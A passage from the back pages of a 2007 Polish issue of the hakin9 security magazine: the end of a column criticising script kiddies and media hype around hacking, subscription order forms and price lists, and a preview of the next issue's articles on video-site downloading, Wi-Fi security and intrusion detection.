ją ich zdanie.

Gdzie się nie obejrzymy, znajdziemy zawsze kogoś,

kto chciałby zostać hakerem. Weźmy na przykład moją
klasę. Dobry znajomy, po którym bym się wcale tego
nie spodziewał, dał się złapać na sztuczkę marketingo-
wą i wydał duże pieniądze na Szkołę hakerów, która mu
w żadnym razie nie pomogła. Warto dodać, iż znajomy
z komputerami nie jest za pan brat, jego poziom można
określić ilością godzin spędzonych przy grach, a nie zaję-
ciach pożytecznych. Jest to bardzo prosty, ale nie jedyny
taki przykład.

Następnym jest fala entuzjazmu po programie Teraz

my! z udziałem Pawła Jabłońskiego aka Gorion. Faktem
jest, iż Gorion zna się na rzeczy – jednak to, co zrobił,
spotkało się z poważną dezaprobatą ze strony reszty
społeczności. Dodatkowo, rażącym faktem było to, iż
zaprezentowany został PHP shell, o czym oglądają-
cy program widzowie nie zostali poinformowani. Gorion
swoim występem w telewizji rozpoczął kształtowanie się
następnego trendu i warstwy społeczności sieciowej, z
którą częściowo utożsamiają się script kiddies.

W chwili pisania tego felietonu mamy wakacje, czas

wypoczynku – jednak nie dla wszystkich. Ciągle znaj-
dują się osoby, które koniecznie chciałyby zostać hake-
rami. Wszystko to przez siłę mediów, która nieustan-
nie drąży temat bezpieczeństwa sieciowego i hackingu.
Zupełnie nie wiem dlaczego. Przecież zainteresowany
poszuka w Internecie. Nie trzeba na ten temat trąbić
i zapraszać coraz to nowych gości. Takie posunięcia
tylko robią dzieciom wodę z mózgu, a Sieci przysparza-
ją nowych kłopotów. l

Patryk Szlagowski patrykuss@haes-squad.net

background image

Tytuł

Ilość numerów

w roku

Ilość zamawianych

prenumerat

Od numeru pisma

lub miesiąca

Opłata w zł

z VAT

hakin9 (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

900

Dodatkowy drukowany egzemplarz

12

80

W sumie

(liczba prenumerat x cena)

Formularz zamówienia prenumeraty

Dane osoby / firmy zamawiającej

Imię i nazwisko

Stanowisko

ID kontrahenta*

* jeżeli jesteś już klientem firmy Software-Wydawnictwo Sp. z o.o. – wystarczy, że podasz swój numer ID kontrahenta; jeżeli nie posiadasz takiego numeru, podaj swe dane teleadresowe

Upoważniam firmę Software-Wydawnictwo Sp. z o.o. do wystawienia faktury VAT bez podpisu odbiorcy

Pieczęć firmy i podpis

Nazwa firmy

Dokładny adres

Telefon (wraz z numerem kierunkowym)

Faks (wraz z numerem kierunkowym)

Adres e-mail

Numer NIP firmy

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 887 10 11

lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa,

e-mail: pren@software.com.pl

Przyjmujemy też zamówienia telefoniczne:

(22) 887 14 44

UWAGA: Nadesłanie zamówienia jest jednocześnie zobowiązaniem do zapłaty.

w w w . b u y i t p r e s s . c o m . p l

Prenumerata korporacyjna hakin9 pozwoli Ci

na dowolne powielenie i rozpowszechnianie pisma

w obrębie Twojej firmy

Numer konta: NORDEA BANK POLSKA 46 1440 1299 0000 0000 0391 8238

W ramach prenumeraty korporacyjnej otrzymają Państwo:

1. Pismo w wersji elektronicznej

2. Dwa dodatkowe egzemplarze w wersji drukowanej

3. CD-ROM zawierający archiwum wszystkich numerów z 2006 roku

background image

Zaprenumeruj swoje ulubione magazyny

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

1

Cena prenumeraty rocznej dla osób prywatnych

2

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

Cena prenumeraty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

12

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

199

1

/219

.psd (2 płyty CD)

Dwumiesięcznik użytkowników programu Adobe Photoshop

6

140

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

6

140

background image

Aktualne informacje o najbliższym numerze

http://www.hakin9.org/pl
Numer w sprzedaży na początku listopada 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

11/2007

w następnym numerze

między innymi:

Zapowiedzi

Hakowanie video.google.com, itvp.pl

Wraz z nadejściem Web 2.0 trendy stały się strony internetowe pozwalają-
ce na udostępnianie mediów wszystkim użytkownikom. Znakomitym przy-
kładem jest serwis youtube, który dziennie odwiedzają miliony osób. Jedyną
wadą takich portali jest brak możliwości pobierania plików. W poniższym
artykule sprawdzimy, jak skutecznie tego typu strony są zabezpieczone
przed wyciekiem danych.

Bezpieczeństwo w sieci WLAN

Sieci bezprzewodowe Wi-Fi są obecnie bardzo popularną metodą budo-
wania sieci lokalnych. Podjęcie decyzji o wykorzystaniu tej technologii do
potrzeb własnych, jak i firmy czy przedsiębiorstwa powinno jednoznacznie
kojarzyć się z odpowiednim zabezpieczeniem takiej sieci. Należy przy tym
pamiętać, że zabezpieczanie sieci to nie tylko wykonanie podstawowych
czynności konfiguracyjnych, takich jak włączenie odpowiednio silnego szy-
frowania czy uruchomienie ściany przeciwogniowej.

Chwyty bezpieczeństwa. Niekonwencjonalne

metody wykrywania włamań

W dzisiejszych czasach każda firma potrzebuje systemu informatyczne-
go do prawidłowego funkcjonowania. Utrzymanie bezpieczeństwa takiego
systemu jest więc koniecznością. W ostatnich latach zwiększyła się liczba
prób ataków na przeróżne systemy informatyczne, a wszystko to za sprawą
bardzo szybkiego rozwoju technologii informatycznych. Trudno doszukiwać
się przyczyn takiego stanu, zapewne składa się na nie wiele czynników.

NA CD:

hakin9.live – bootowalna dystrybucja Linuksa,
• mnóstwo narzędzi – niezbędnik hakera,
• tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
• dodatkowa dokumentacja,
• pełne wersje komercyjnych aplikacji.

Początki

Atak

Obrona

background image
background image

Wyszukiwarka

Podobne podstrony:
Hakin9 30 (10 2007) PL
Hakin9 22 (02 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 23 (03 2007) PL
Hakin9 25 (05 2007) PL
Hakin9 29 (09 2007) PL
Hakin9 26 (06 2007) PL
Hakin9 21 (01 2007) PL
Hakin9 28 (08 2007) PL
Hakin9 27 (07 2007) PL
Hakin9 24 (04 2007) PL
Hakin9 32 (12 2007) PL
Hakin9 22 (02 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 32 (12 2007) PL
Hakin9 26 (06 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 21 (01 2007) PL
Hakin9 29 (09 2007) PL

więcej podobnych podstron